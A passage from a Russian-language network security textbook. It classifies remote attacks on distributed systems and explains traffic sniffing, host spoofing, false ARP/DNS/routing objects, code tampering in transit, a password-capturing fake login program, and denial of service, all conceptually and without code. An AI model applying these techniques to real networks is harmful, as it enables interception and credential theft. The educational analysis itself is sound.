Следовательно, перехват информации ведет к нарушению ее
конфиденциальности. Примером перехвата информации может служить
прослушивание канала в сети (п. 3.2.1). В этом случае имеется
несанкционированный доступ к информации без возможности ее искажения.
Очевидно также, что нарушение конфиденциальности информации является
пассивным воздействием.
Возможность искажения информации означает либо полный контроль над
информационным потоком между объектами системы, либо возможность передачи
сообщений от имени другого объекта.
Таким образом, очевидно, что искажение информации ведет к нарушению ее
целостности.
Данное информационное разрушающее воздействие представляет собой яркий
пример активного воздействия. Примером удаленной атаки, цель которой
нарушение целостности информации, может служить типовая удаленная атака
(УА) Ложный объект РВС (п. 3.2.3).
Принципиально другой целью атаки является нарушение работоспособности
системы. В этом случае не предполагается получение атакующим
несанкционированного доступа к информации. Его основная цель - добиться,
чтобы операционная система на атакуемом объекте вышла из строя и для всех
остальных объектов системы доступ к ресурсам атакованного объекта был бы
невозможен.
Примером удаленной атаки, целью которой является нарушение
работоспособности системы, может служить типовая УА Отказ в обслуживании
(п.
3.2.4).
3. По условию начала осуществления воздействия
Удаленное воздействие, также как и любое другое, может начать
осуществляться только при определенных условиях. В распределенных ВС
существуют три вида условий начала осуществления удаленной атаки:
Атака по запросу от атакуемого объекта (класс 3.1)
В этом случае атакующий ожидает передачи от потенциальной цели атаки
запроса определенного типа, который и будет условием начала осуществления
воздействия. Примером подобных запросов в ОС Novell NetWare может служить
SAP-запрос (атака описана в [9]), а в сети Internet - DNS- и ARP-запросы.
Удаленные атаки на объекты сети Internet, осуществляемые по запросу от
атакуемой системы, рассматриваются в п. 4.2 и 4.3. Важно отметить, что
данный тип удаленных атак наиболее характерен для распределенных ВС.
Атака по наступлению ожидаемого события на атакуемом объекте (класс 3.2)
В этом случае атакующий осуществляет постоянное наблюдение за
состоянием операционной системы удаленной цели атаки и при возникновении
определенного события в этой системе начинает воздействие. Как и в
предыдущем случае, инициатором осуществления начала атаки выступает сам
атакуемый объект. Примером такого события может быть прерывание сеанса
работы пользователя с сервером в ОС Novell NetWare без выдачи команды
LOGOUT [9].
Безусловная атака (класс 3.3)
В этом случае начало осуществления атаки безусловно по отношению к цели
атаки, то есть атака осуществляется немедленно и безотносительно к
состоянию системы и атакуемого объекта. Следовательно, в этом случае
атакующий является инициатором начала осуществления атаки. Пример атаки
данного вида см. в пункте 4.4.
4. По наличию обратной связи с атакуемым объектом
с обратной связью (класс 4.1)
без обратной связи (однонаправленная атака)
(класс 4.2)
Удаленная атака, осуществляемая при наличии обратной связи с атакуемым
объектом, характеризуется тем, что на некоторые запросы, переданные на
атакуемый объект, атакующему требуется получить ответ, а, следовательно,
между атакующим и целью атаки существует обратная связь, которая позволяет
атакующему адекватно реагировать на все изменения, происходящие на
атакуемом объекте. Подобные удаленные атаки наиболее характерны для
распределенных ВС.
В отличие от атак с обратной связью удаленным атакам без обратной связи
не требуется реагировать на какие-либо изменения, происходящие на
атакуемом объекте. Атаки данного вида обычно осуществляются передачей на
атакуемый объект одиночных запросов, ответы на которые атакующему не
нужны. Подобную УА можно называть однонаправленной удаленной атакой.
Примером однонаправленных атак является типовая УА Отказ в обслуживании
(п. 3.2.4), а также атаки, рассмотренные в п. 4.3, 4.4 и 4.6.
5. По расположению субъекта атаки относительно атакуемого объекта
внутрисегментное (класс 5.1)
межсегментное (класс 5.2)
Рассмотрим ряд определений:
Субъект атаки (или источник атаки) - это атакующая программа или
оператор, непосредственно осуществляющие воздействие.
Хост (host) - сетевой компьютер.
Маршрутизатор (router) - устройство, обеспечивающее маршрутизацию
пакетов обмена в глобальной сети.
Подсеть (subnetwork) (в терминологии Internet) - совокупность хостов,
являющихся частью глобальной сети, для которых маршрутизатором выделен
одинаковый номер подсети. Подсеть - логическое объединение хостов
маршрутизатором.
Хосты внутри одной подсети могут взаимодействовать между собой
непосредственно, минуя маршрутизатор.
Сегмент сети - физическое объединение хостов.
Например, сегмент сети образуют совокупность хостов, подключенных к
серверу по схеме общая шина . При такой схеме подключения каждый хост
имеет возможность подвергать анализу любой пакет в своем сегменте.
С точки зрения удаленной атаки чрезвычайно важно, как по отношению друг
к другу располагаются субъект и объект атаки, то есть в одном или в разных
сегментах они находятся. В случае внутрисегментной атаки, как следует из
названия, субъект и объект атаки находятся в одном сегменте. Пример такой
атаки приведен в п. 4.1 и 4.2.
При межсегментной атаке субъект и объект атаки находятся в
разных сегментах. Примеры в п. 4.3-4.6.
Данный классификационный признак позволяет судить о так называемой
степени удаленности атаки.
В дальнейшем будет показано, что на практике межсегментную атаку
осуществить значительно труднее, чем внутрисегментную. Важно отметить, что
межсегментная удаленная атака представляет гораздо большую опасность, чем
внутрисегментная.
Это связано с тем, что в случае межсегментной атаки объект её и
непосредственно атакующий могут находиться на расстоянии многих тысяч
километров друг от друга, что может существенно воспрепятствовать мерам по
отражению атаки.
6. По уровню эталонной модели ISO/OSI, на котором осуществляется
воздействие
физический (класс 6.1)
канальный (класс 6.2)
сетевой (класс 6.3)
транспортный (класс 6.4)
сеансовый (класс 6.5)
представительный (класс 6.6)
прикладной (класс 6.7)
Международная Организация по Стандартизации (ISO) приняла стандарт ISO
7498, описывающий взаимодействие открытых систем (OSI).
Распределенные ВС также являются открытыми системами. Любой сетевой
протокол обмена, как и любую сетевую программу, можно с той или иной
степенью точности спроецировать на эталонную семиуровневую модель OSI.
Такая многоуровневая проекция позволит описать в терминах модели OSI
функции, заложенные в сетевой протокол или программу. Удаленная атака
также является сетевой программой. В связи с этим представляется логичным
рассматривать удаленные атаки на распределенные ВС, проецируя их на
эталонную модель ISO/OSI.
return false""Диаграмма 1. Классификация удаленных атак на
распределенные ВС
3.2. Характеристика и механизмы реализации типовых удаленных атак
Понятие типовой удаленной атаки Исследования и анализ информационной
безопасности различных распределенных ВС, проводимые авторами в течение
последних лет, наглядно продемонстрировали тот факт, что, независимо от
используемых сетевых протоколов, топологии, инфраструктуры исследуемых
распределенных ВС, механизмы реализации удаленных воздействий на РВС
инвариантны по отношению к особенностям конкретной системы. Это
объясняется тем, что распределенные ВС проектируются на основе одних и тех
же принципов, а, следовательно, имеют практически одинаковые проблемы
безопасности; Поэтому оказывается, что причины успеха удаленных атак на
различные РВС одинаковы (глава 5). Таким образом, появляется возможность
ввести понятие типовой удаленной атаки. Типовая удаленная атака- это
удаленное информационное разрушающее воздействие, программно
осуществляемое по каналам связи и характерное для любой распределенной ВС.
Введение этого понятия в совокупности с описанием механизмов реализации
типовых УА позволяет предложить методику исследования безопасности,
инвариантную по отношению к виду распределенной ВС. Методика заключается в
последовательном осуществлении всех типовых удаленных воздействий в
соответствии с предложенным далее их описанием и характеристиками. При
этом основным элементом исследования безопасности РВС является анализ
сетевого трафика (п. 3.2.1). Как пояснение последнего утверждения
рассмотрим следующую аналогию: отладчик - основное средство для хакера,
соответственно анализатор сетевого трафика - основное средство для
сетевого хакера.
Анализатор сетевого трафика по своей сути является сетевым отладчиком.
Итак, в качестве методики исследования информационной безопасности
распределенной ВС предлагается выполнение ряда тестовых задач, оценивающих
защищенность системы по отношению к типовым удаленным воздействиям.
Рассмотрим в следующих пунктах типовые удаленные атаки и механизмы их
реализации.
3.2.1. Анализ сетевого трафика Как уже отмечалось, основной
особенностью распределенной ВС является то, что ее объекты распределены в
пространстве и связь между ними физически осуществляется по сетевым
соединениям и программно- при помощи механизма сообщений.
При этом все управляющие сообщения и данные, пересылаемые между
объектами РВС, передаются по сетевым соединениям в виде пакетов обмена.
Эта особенность привела к появлению специфичного для распределенных ВС
типового удаленного воздействия, заключающегося в прослушивании канала
связи. Назовем данное типовое удаленное воздействие анализом сетевого
трафика (или, сокращенно, сетевым анализом).
Анализ сетевого трафика позволяет, во-первых, изучить логику работы
распределенной ВС, то есть получить взаимно однозначное соответствие
событий, происходящих в системе, и команд, пересылаемых друг другу ее
объектами, в момент появления этих событий (если проводить дальнейшую
аналогию с инструментарием хакера, то анализ трафика в этом случае
заменяет и трассировщик). Это достигается путем перехвата и анализа
пакетов обмена на канальном уровне.
Знание логики работы распределенной ВС позволяет на практике
моделировать и осуществлять типовые удаленные атаки, рассмотренные в
следующих пунктах на примере конкретных распределенных ВС.
Во-вторых, анализ сетевого трафика позволяет перехватить поток данных,
которыми обмениваются объекты распределенной ВС. Таким образом, удаленная
атака данного типа заключается в получении на удаленном объекте
несанкционированного доступа к информации, которой обмениваются два
сетевых абонента.
Отметим, что при этом отсутствует возможность модификации трафика и сам
анализ возможен только внутри одного сегмента сети. Примером перехваченной
при помощи данной типовой удаленной атаки информации могут служить имя и
пароль пользователя, пересылаемые в незашифрованном виде по сети (п. 4.1).
По характеру воздействия анализ сетевого трафика является пассивным
воздействием (класс 1.1). Осуществление данной атаки без обратной связи
(класс 4.2) ведет к нарушению конфиденциальности информации (класс 2.1)
внутри одного сегмента сети (класс 5.1) на канальном уровне OSI (класс
6.2). При этом начало осуществления атаки безусловно по отношению к цели
атаки (класс 3.3).
3.2.2. Подмена доверенного объекта или субъекта распределенной ВС Одной
из проблем безопасности распределенной ВС является недостаточная
идентификация и аутентификация ее удаленных друг от друга объектов.
Основная трудность заключается в осуществлении однозначной идентификации
сообщений, передаваемых между субъектами и объектами взаимодействия.
Обычно в распределенных ВС эта проблема решается следующим образом: в
процессе создания виртуального канала объекты РВС обмениваются
определенной информацией, уникально идентифицирующей данный канал. Такой
обмен обычно называется рукопожатием (handshake).
Однако, отметим, что не всегда для связи двух удаленных объектов в РВС
создается виртуальный канал. Практика показывает, что зачастую, особенно
для служебных сообщений (!?)
(например, от маршрутизаторов) используется передача одиночных
сообщений, не требующих подтверждения.
Как известно, для адресации сообщений в распределенных ВС используется
сетевой адрес, который уникален для каждого объекта системы (на канальном
уровне модели OSI - это аппаратный адрес сетевого адаптера, на сетевом
уровне - адрес определяется в зависимости от используемого протокола
сетевого уровня (например, IP-адрес).
Сетевой адрес также может использоваться для идентификации объектов
распределенной ВС.
Однако сетевой адрес достаточно просто подделывается и поэтому
использовать его в качестве единственного средства идентификации объектов
недопустимо.
В том случае, когда распределенная ВС использует нестойкие алгоритмы
идентификации удаленных объектов, то оказывается возможной типовая
удаленная атака, заключающаяся в передаче по каналам связи сообщений от
имени произвольного объекта или субъекта РВС. При этом существуют две
разновидности данной типовой удаленной атаки:
атака при установленном виртуальном канале, атака без установленного
виртуального канала.
В случае установленного виртуального соединения атака будет заключаться
в присвоении прав доверенного субъекта взаимодействия, легально
подключившегося к объекту системы, что позволит атакующему вести сеанс
работы с объектом распределенной системы от имени доверенного субъекта.
Реализация удаленных атак данного типа обычно состоит в передаче пакетов
обмена с атакующего объекта на цель атаки от имени доверенного субъекта
взаимодействия (при этом переданные сообщения будут восприняты системой
как корректные). Для осуществления атаки данного типа необходимо
преодолеть систему идентификации и аутентификации сообщений, которая, в
принципе, может использовать контрольную сумму, вычисляемую с помощью
открытого ключа, динамически выработанного при установлении канала,
случайные многобитные счетчики пакетов и сетевые адреса станций. Однако на
практике, например, в ОС Novell NetWare 3.12-4.1 для идентификации пакетов
обмена используются два 8-битных счетчика - номер канала и номер пакета
[9]; в протоколе TCP для идентификации используются два 32-битных
счетчика. Пример удаленной атаки на сеть Internet данного типа описан в п.
4.5.2.
Как было замечено выше, для служебных сообщений в распределенных ВС
часто используется передача одиночных сообщений, не требующих
подтверждения, то есть не требуется создание виртуального соединения.
Атака без установленного виртуального соединения заключается в передаче
служебных сообщений от имени сетевых управляющих устройств, например, от
имени маршрутизаторов.
Очевидно, что в этом случае для идентификации пакетов возможно лишь
использование статических ключей, определенных заранее, что довольно
неудобно и требует сложной системы управления ключами. Однако, при отказе
от такой системы идентификация пакетов без установленного виртуального
канала будет возможна лишь по сетевому адресу отправителя, который легко
подделать.
Посылка ложных управляющих сообщений может привести к серьезным
нарушениям работы распределенной ВС (например, к изменению ее
конфигурации). Рассмотренная в п. 3.2.3.1 типовая удаленная атака,
использующая навязывание ложного маршрута, основана на описанной идее.
Подмена доверенного объекта РВС является активным воздействием (класс
1.2), совершаемым с целью нарушения конфиденциальности (класс 2.1) и
целостности (класс 2.2) информации, по наступлению на атакуемом объекте
определенного события (класс 3.2). Данная удаленная атака может являться
как внутрисегментной (класс 5.1), так и межсегментной (класс 5.2), как с
обратной связью (класс 4.1), так и без обратной связи (класс 4.2) с
атакуемым объектом и осуществляется на сетевом (класс 6.3) и транспортном
(класс 6.4) уровнях модели OSI.
3.2.3. Ложный объект распределенной ВС В том случае, если в
распределенной ВС недостаточно надежно решены проблемы идентификации
сетевых управляющих устройств (например, маршрутизаторов), возникающие при
взаимодействии последних с объектами системы, то подобная распределенная
система может подвергнуться типовой удаленной атаке, связанной с
изменением маршрутизации и внедрением в систему ложного объекта. В том
случае, если инфраструктура сети такова, что для взаимодействия объектов
необходимо использование алгоритмов удаленного поиска (п.
3.2.3.2), то это также позволяет внедрить в систему ложный объект.
Итак, существуют две принципиально разные причины, обуславливающие
появление типовой удаленной атаки Ложный объект РВС .
3.2.3.1. Внедрение в распределенную ВС ложного объекта путем
навязывания ложного маршрута Современные глобальные сети представляют
собой совокупность сегментов сети, связанных между собой через сетевые
узлы. При этом маршрутом называется последовательность узлов сети, по
которой данные передаются от источника к приемнику. Каждый маршрутизатор
имеет специальную таблицу, называемую таблицей маршрутизации, в которой
для каждого адресата указывается оптимальный маршрут. Отметим, что таблицы
маршрутизации существуют не только у маршрутизаторов, но и у любых хостов
в глобальной сети. Для обеспечения эффективной и оптимальной маршрутизации
в распределенных ВС применяются специальные управляющие протоколы,
позволяющие маршрутизаторам обмениваться информацией друг с другом (RIP
(Routing Internet Protocol), OSPF (Open Shortest Path First)), уведомлять
хосты о новом маршруте - ICMP (Internet Control Message Protocol),
удаленно управлять маршрутизаторами (SNMP (Simple Network Management
Protocol)). Важно отметить, что все описанные выше протоколы позволяют
удаленно изменять маршрутизацию в сети Internet, то есть являются
протоколами управления сетью.
Поэтому абсолютно очевидно, что маршрутизация в глобальных сетях играет
важнейшую роль и, как следствие этого, может подвергаться атаке.
Основная цель атаки, связанной с навязыванием ложного маршрута, состоит
в том, чтобы изменить исходную маршрутизацию на объекте распределенной ВС
так, чтобы новый маршрут проходил через ложный объект - хост атакующего.
Реализация данной типовой удаленной атаки состоит в несанкционированном
использовании протоколов управления сетью для изменения исходных таблиц
маршрутизации.
Для изменения маршрутизации атакующему необходимо послать по сети
определенные данными протоколами управления сетью специальные служебные
сообщения от имени сетевых управляющих устройств (напри-мер,
маршрутизаторов). В результате успешного изменения маршрута атакующий
получит полный контроль над потоком информации, которой обмениваются два
объекта распределенной ВС, и атака перейдет во вторую стадию, связанную с
приемом, анализом и передачей сообщений, получаемых от дезинформированных
объектов РВС.
Методы воздействия на перехваченную информацию приведены в п. 3.2.3.3.
Пример атаки данного типа в сети Internet рассмотрен в п. 4.4.
Навязывание объекту РВС ложного маршрута - активное воздействие (класс
1.2), совершаемое с любой из целей из класса 2, безусловно по отношению к
цели атаки (класс 3.3). Данная типовая удаленная атака может
осуществляться как внутри одного сегмента (класс 5.1), так и межсегментно
(класс 5.2), как с обратной связью (класс 4.1), так и без обратной связи с
атакуемым объектом (класс 4.2)
на транспортном (класс 6.3) и прикладном (класс 6.7)
уровне модели OSI.
3.2.3.2. Внедрение в распределенную ВС ложного объекта путем
использования недостатков алгоритмов удаленного поиска В распределенной ВС
часто оказывается, что ее удаленные объекты изначально не имеют достаточно
информации, необходимой для адресации сообщений. Обычно такой информацией
являются аппаратные (адрес сетевого адаптера) и логические (IP-адрес,
например) адреса объектов РВС. Для получения подобной информации в
распределенных ВС используются различные алгоритмы удаленного поиска,
заключающиеся в передаче по сети специального вида поисковых запросов, и в
ожидании ответов на запрос с искомой информацией. После получения ответа
на запрос, запросивший субъект РВС обладает всеми необходимыми данными для
адресации.
Руководствуясь полученными из ответа сведениями об искомом объекте,
запросивший субъект РВС начинает адресоваться к нему. Примером подобных
запросов, на которых базируются алгоритмы удаленного поиска, могут служить
SAP-запрос в ОС Novell NetWare [9], ARP- и DNS-запрос в сети Internet (п.
4.2 и 4.3).
В случае использования распределенной ВС механизмов удаленного поиска
существует возможность на атакующем объекте перехватить посланный запрос и
послать на него ложный ответ, где указать данные, использование которых
приведет к адресации на атакующий ложный объект.
В дальнейшем весь поток информации между субъектом и объектом
взаимодействия будет проходить через ложный объект РВС.
Другой вариант внедрения в РВС ложного объекта использует недостатки
алгоритма удаленного поиска и состоит в периодической передаче на
атакуемый объект заранее подготовленного ложного ответа без приема
поискового запроса.
В самом деле, атакующему для того, чтобы послать ложный ответ, не
всегда обязательно дожидаться приема запроса (он может, в принципе, не
иметь подобной возможности перехвата запроса). При этом атакующий может
спровоцировать атакуемый объект на передачу поискового запроса (п. 4.3.3),
и тогда его ложный ответ будет немедленно иметь успех. Данная типовая
удаленная атака чрезвычайно характерна для глобальных сетей, когда у
атакующего из-за нахождения его в другом сегменте относительно цели атаки
просто нет возможности перехватить поисковый запрос.
Пример атаки данного типа на сеть Internet приведен в п. 4.3.3.
Ложный объект РВС - активное воздействие (класс 1.2), совершаемое с
целью нарушения конфиденциальности (класс 2.1) и целостности информации
(класс 2.2), которое может являться атакой по запросу от атакуемого
объекта (класс 3.1), а также безусловной атакой (класс 3.3). Данная
удаленная атака является как внутрисегментной (класс 5.1), так и
межсегментной (класс 5.2), имеет обратную связь с атакуемым объектом
(класс 4.1) и осуществляется на канальном (класс 6.2) и прикладном (класс
6.7)
уровнях модели OSI.
3.2.3.3. Использование ложного объекта для организации удаленной атаки
на распределенную ВС
Получив контроль над проходящим потоком информации между объектами,
ложный объект РВС может применять различные методы воздействия на
перехваченную информацию. В связи с тем, что внедрение в распределенную ВС
ложного объекта является целью многих удаленных атак и представляет
серьезную угрозу безопасности РВС в целом, то в следующих пунктах будут
подробно рассмотрены методы воздействия на информацию, перехваченную
ложным объектом.
3.2.3.3.1. Селекция потока информации и сохранение ее на ложном объекте
РВС
Одной из атак, которую может осуществлять ложный объект РВС, является
перехват передаваемой между субъектом и объектом взаимодействия
информации. Важно отметить, что факт перехвата информации (фай-лов,
например)
возможен из-за того, что при выполнении некоторых операций над файлами
(чтение, копирование и т. д.)
содержимое этих файлов передается по сети, а, значит, поступает на
ложный объект. Простейший способ реализации перехвата - это сохранение в
файле всех получаемых ложным объектом пакетов обмена.
Тем не менее, данный способ перехвата информации оказывается
недостаточно информативным. Это происходит вследствие того, что в пакетах
обмена кроме полей данных существуют служебные поля, не представляющие в
данном случае для атакующего непосредственного интереса. Следовательно,
для того, чтобы получить непосредственно передаваемый файл, необходимо
проводить на ложном объекте динамический семантический анализ потока
информации для его селекции.
3.2.3.3.2. Модификация информации
Одной из особенностей любой системы воздействия, построенной по
принципу ложного объекта, является то, что она способна модифицировать
перехваченную информацию.
Следует особо отметить, что это один из способов, позволяющих
программно модифицировать поток информации между объектами РВС с другого
объекта. Ведь для реализации перехвата информации в сети необязательно
атаковать распределенную ВС по схеме ложный объект .
Эффективней будет атака, осуществляющая анализ сетевого трафика (п.
3.2.1), позволяющая получать все пакеты, проходящие по каналу связи, но, в
отличие от удаленной атаки по схеме ложный объект , она не способна к
модификации информации.
Далее рассмотрим два вида модификации информации:
модификация передаваемых данных; модификация передаваемого кода.
Одной из функций, которой может обладать система воздействия,
построенная по принципу ложный объект , является модификация передаваемых
данных. В результате селекции потока перехваченной информации и его
анализа система может распознавать тип передаваемых файлов (исполняемый
или текстовый).
Соответственно, в случае обнаружения текстового файла или файла данных
появляется возможность модифицировать проходящие через ложный объект
данные. Особую угрозу эта функция представляет для сетей обработки
конфиденциальной информации.
Другим видом модификации может быть модификация передаваемого кода.
Ложный объект, проводя семантический анализ проходящей через него
информации, может выделять из потока данных исполняемый код. Известный
принцип неймановской архитектуры гласит, что не существует различий между
данными и командами. Следовательно, для того, чтобы определить, что
передается по сети - код или данные, необходимо использовать определенные
особенности, свойственные реализации сетевого обмена в конкретной
распределенной ВС или некоторые особенности, присущие конкретным типам
исполняемых файлов в данной локальной ОС.
Представляется возможным выделить два различных по цели вида
модификации кода:
внедрение РПС (разрушающих программных средств); изменение логики
работы исполняемого файла.
В первом случае при внедрении РПС исполняемый файл модифицируется по
вирусной технологии: к исполняемому файлу одним из известных способов
дописывается тело РПС ,а также одним из известных способов изменяется
точка входа так, чтобы она указывала на начало внедренного кода РПС.
Описанный способ, в прин-ципе, ничем не отличается от стандартного
заражения исполняемого файла вирусом, за исключением того, что файл
оказался поражен вирусом или РПС в момент передачи его по сети! Такое
возможно лишь при использовании системы воздействия, построенной по
принципу ложный объект . Конкретный вид РПС, его цели и задачи в данном
случае не имеют значения, но можно рассмотреть, например, вариант
использования ложного объекта для создания сетевого червя - наиболее
сложного на практике удаленного воздействия в сетях, или в качестве РПС
использовать сетевые шпионы.
Во втором случае происходит модификация исполняемого кода с целью
изменения логики его работы. Данное воздействие требует предварительного
исследования работы исполняемого файла и, в случае его проведения, может
принести самые неожиданные результаты.
Например, при запуске на сервере (например, в ОС Novell NetWare)
программы идентификации пользователей распределенной базы данных ложный
объект может так модифицировать код этой программы, что появится
возможность беспарольного входа с наивысшими привилегиями в базу данных.
3.2.3.3.3. Подмена информации
Ложный объект позволяет не только модифицировать, но и подменять
перехваченную им информацию. Если модификация информации приводит к ее
частичному искажению, то подмена - к ее полному изменению.
При возникновении в сети определенного контролируемого ложным объектом
события одному из участников обмена посылается заранее подготовленная
дезинформация. При этом такая дезинформация в зависимости от
контролируемого события может быть воспри-нята либо как исполняемый код,
либо как данные. Рассмотрим пример подобного рода дезинформации.
Предположим, что ложный объект контролирует событие, которое состоит в
подключении пользователя к серверу. В этом случае он ожидает, например,
запуска соответствующей программы входа в систему. В случае, если эта
программа находится на сервере, то при ее запуске исполняемый файл
передается на рабочую станцию.
Вместо того, чтобы выполнить данное действие, ложный объект передает на
рабочую станцию код заранее написанной специальной программы - захватчика
паролей. Эта программа выполняет визуально те же действия, что и настоящая
программа входа в систему, например, запрашивая имя и пароль пользователя,
после чего полученные сведения посылаются на ложный объект, а пользователю
выводится сообщение об ошибке. При этом пользователь, посчитав, что он
неправильно ввел пароль (пароль обычно не отображается на экране) снова
запустит программу подключения к системе (на этот раз настоящую) и со
второго раза получит доступ. Результат такой атаки - имя и пароль
пользователя, сохраненные на ложном объекте.
3.2.4. Отказ в обслуживании
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на
каждом из объектов распределенной ВС, является обеспечение надежного
удаленного доступа с любого объекта сети к данному объекту.
В общем случае в распределенной ВС каждый субъект системы должен иметь
возможность подключиться к любому объекту РВС и получить в соответствии со
своими правами удаленный доступ к его ресурсам. Обычно в вычислительных
сетях возможность предоставления удаленного доступа реализуется следующим
образом: на объекте РВС в сетевой ОС запускаются на выполнение ряд
программ-серверов (например, FTP-сервер, WWW-сервер и т.п.),
предоставляющих удаленный доступ к ресурсам данного объекта. Данные
программы-серверы входят в состав телекоммуникационных служб
предоставления удаленного доступа. Задача сервера состоит в том, чтобы,
находясь в памяти операционной системы объекта РВС, постоянно ожидать
получения запроса на подключение от удаленного объекта. В случае получения
подобного запроса сервер должен по возможности передать на запросивший
объект ответ, в котором либо разрешить подключение, либо нет (под-ключение
к серверу специально описано очень схематично, так как подробности в
данный момент не имеют значения). По аналогичной схеме происходит создание
виртуального канала связи, по которому обычно взаимодействуют объекты РВС.
В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие
извне запросы на создание виртуального канала (ВК) и передает их в
соответствии с идентификатором запроса (порт или сокет) прикладному
процессу, которым является соответствующий сервер.
Очевидно, что сетевая операционная система способна иметь только
ограниченное число открытых виртуальных соединений и отвечать лишь на
ограниченное число запросов. Эти ограничения зависят от различных
параметров системы в целом, основными из которых являются быстродействие
ЭВМ, объем оперативной памяти и пропускная способность канала связи (чем
она выше, тем больше число возможных запросов в единицу времени).
Основная проблема состоит в том, что при отсутствии статической
ключевой информации в РВС идентификация запроса возможна только по адресу
его отправителя. Если в распределенной ВС не предусмотрено средств
аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с
одного объекта системы передавать на другой атакуемый объект бесконечное
число анонимных запросов на подключение от имени других объектов, то в
этом случае будет иметь успех типовая удаленная атака Отказ в обслуживании
(пример подобной атаки на сеть Internet - п. 4.6). Результат применения
этой удаленной атаки - нарушение на атакованном объекте работоспособности
соответствующей службы предоставления удаленного доступа, то есть
невозможность получения удаленного доступа с других объектов РВС - отказ в
обслуживании!
Вторая разновидность этой типовой удаленной атаки состоит в передаче с
одного адреса такого количества запросов на атакуемый объект, какое
позволит трафик (направленный шторм запросов). В этом случае, если в
системе не предусмотрены правила, ограничивающие число принимаемых
запросов с одного объекта (адреса)
в единицу времени, то результатом этой атаки может являться как
переполнение очереди запросов и отказа одной из телекоммуникационных
служб, так и полная остановка компьютера из-за невозможности системы
заниматься ничем другим, кроме обработки запросов.
И последней, третьей разновидностью атаки Отказ в обслуживании является
передача на атакуемый объект некорректного, специально подобранного
запроса. В этом случае при наличии ошибок в удаленной системе возможно
зацикливание процедуры обработки запроса, переполнение буфера с
последующим зависанием системы (пример в п. 4.7.2 - Ping Death ) и т. п.
Типовая удаленная атака Отказ в обслуживании является активным
воздействием (класс 1.2), осуществляемым с целью нарушения
работоспособности системы (класс 2.3), безусловно относительно цели атаки
(класс 3.3). Данная УА является однонаправленным воздействием (класс 4.2),
как межсегментным (класс 5.1), так и внутрисегментным (класс 5.2),
осуществляемым на транспортном (класс 6.4) и прикладном (класс 6.7)
уровнях модели OSI.
Таблица 3.2
Классификация типовых удаленных атак на распределенные ВС
Типовая удаленная атака Характер воздействия Цель воздействия Условие
начала осуществления воздействия Наличие обратной связи с атакуемым
объектом Расположение субъекта атаки относительно атакуемого объекта
Уровень модели OSI
Класс воздействия 1.1
1.2
2.1
2.2
2.3
3.1
3.2
3.3
4.1
4.2
5.1
5.2
6.1
6.2
6.3
6.4
6.5
6.6
6.7
Анализ сетевого трафика +
-
+
-
-
-
-
+
-
+
+
-
-
+
-
-
-
-
-
Подмена доверенного объекта РВС
-
+
+
+
-
-
+
-
+
+
+
+
-
-
+
+
-
-
-
Внедрение в РВС ложного объекта путем навязывания ложного маршрута -
+
+
+
+
-
-
+
+
+
+
+
-
-
+
-
-
-
-
Внедрение в РВС ложного объекта путем использования недостатков
алгоритмов удаленного поиска -
+
+
+
-
+
-
+
+
-
+
+
-
+
+
+
-
-
-
Отказ в обслуживании -
+
-
-
+
-
-
+
-
+
+
+
-
+
+
+
+
+
+
4. Удаленные атаки на хосты Internet
Многое
Наша Земля повидала,
Но не видала
Такого скандала!
Б.Заходер. География всмятку.
4.1. Анализ сетевого трафика сети Internet
4.2. Ложный ARP-сервер в сети Internet
4.3. Ложный DNS-сервер в сети Internet
4.4. Навязывание хосту ложного маршрута с использованием протокола ICMP
с целью создания в сети Internet ложного маршрутизатора
4.5. Подмена одного из субъектов TCP-соединения в сети Internet
(hijacking)
4.6. Нарушение работоспособности хоста в сети Internet при
использовании направленного "шторма" ложных TCP-запросов на создание
соединения, либо при переполнении очереди запросов
4.7. Мифические удаленные атаки в сети Internet
4.1. Анализ сетевого трафика сети Internet
В сети Internet основными базовыми протоколами удаленного доступа
являются TELNET и FTP (File Transfer Protocol). TELNET - это протокол
виртуального терминала (ВТ), позволяющий с удаленных хостов подключаться к
серверам Internet в режиме ВТ. FTP - протокол, предназначенный для
передачи файлов между удаленными хостами. Для получения доступа к серверу
по данным протоколам пользователю необходимо пройти на нем процедуру
идентификации и аутентификации. В качестве информации, идентифицирующей
пользователя, выступает его идентификатор (имя), а для аутентификации
используется пароль.
Особенностью протоколов FTP и TELNET является то, что пароли и
идентификаторы пользователей передаются по сети в открытом,
незашифрованном виде. Таким образом, необходимым и достаточным условием
для получения удаленного доступа к хостам по протоколам FTP и TELNET
являются имя и пароль пользователя.
Одним из способов получения паролей и идентификаторов пользователей в
сети Internet является анализ сетевого трафика. Сетевой анализ
осуществляется с помощью специальной пpогpаммы-анализатоpа пакетов,
перехватывающей все пакеты, передаваемые по сегменту сети, и выделяющей
среди них те, в которых передаются идентификатоp пользователя и его
паpоль. Сетевой анализ протоколов FTP и TELNET показывает, что TELNET
разбивает пароль на символы и пересылает их по одному, помещая каждый
символ из пароля в соответствующий пакет, а FTP, напротив, пересылает
пароль целиком в одном пакете.
У внимательного читателя, наверное, уже возник вопрос, почему
разработчики базовых прикладных протоколов Internet не предусмотрели
возможностей шифрования передаваемых по сети паролей пользователей. Даже
во всеми критикуемой сетевой ОС Novell NetWare 3.12 пароли пользователей
никогда не передаются в открытом виде по сети (правда, этой ОС это
особенно не помогает - [9]). Видимо, проблема в том, что базовые
прикладные протоколы семейства TCP/IP разрабатывались очень давно - в
период с конца 60-х до начала 80-х и c тех пор абсолютно не изменились.
При этом точка зрения на построение глобальных сетей стала иной.
Инфраструктура сети Internet и ее протоколы разрабатывались в основном
из соображений надежности связи и уж никак не из соображений безопасности.
Мы - пользователи сети Internet - сейчас пожинаем плоды, оставленные нам
разработчиками этой морально устаревшей с точки зрения безопасности
глобальной сети. Совершенно очевидно, что вычислительные системы за эти
годы сделали колоссальный скачок в своем развитии.
Поэтому, конечно, за эти годы подход к обеспечению информационной
безопасности распределенных ВС существенно изменился. Были разработаны
различные протоколы обмена, позволяющие защитить сетевое соединение и
зашифровать трафик (например, протоколы SSL, SKIP и т.
п.). Однако эти протоколы не сменили устаревшие и не стали стандартом
для каждого пользователя (может быть, за исключением SSL). Вся проблема
состоит в том, что для того, чтобы они стали стандартом, на эти протоколы
должны перейти все пользователи сети, но, так как в Internet отсутствует
централизованное управление сетью, то процесс перехода на эти протоколы
может длиться еще многие годы. А на сегодняшний день подавляющее
большинство пользователей используют стандартные протоколы семейства
TCP/IP, разработанные более 15 лет назад. В результате, как показывают
сообщения амеpиканских центpов по компьютеpной безопасности (CERT, CIAC),
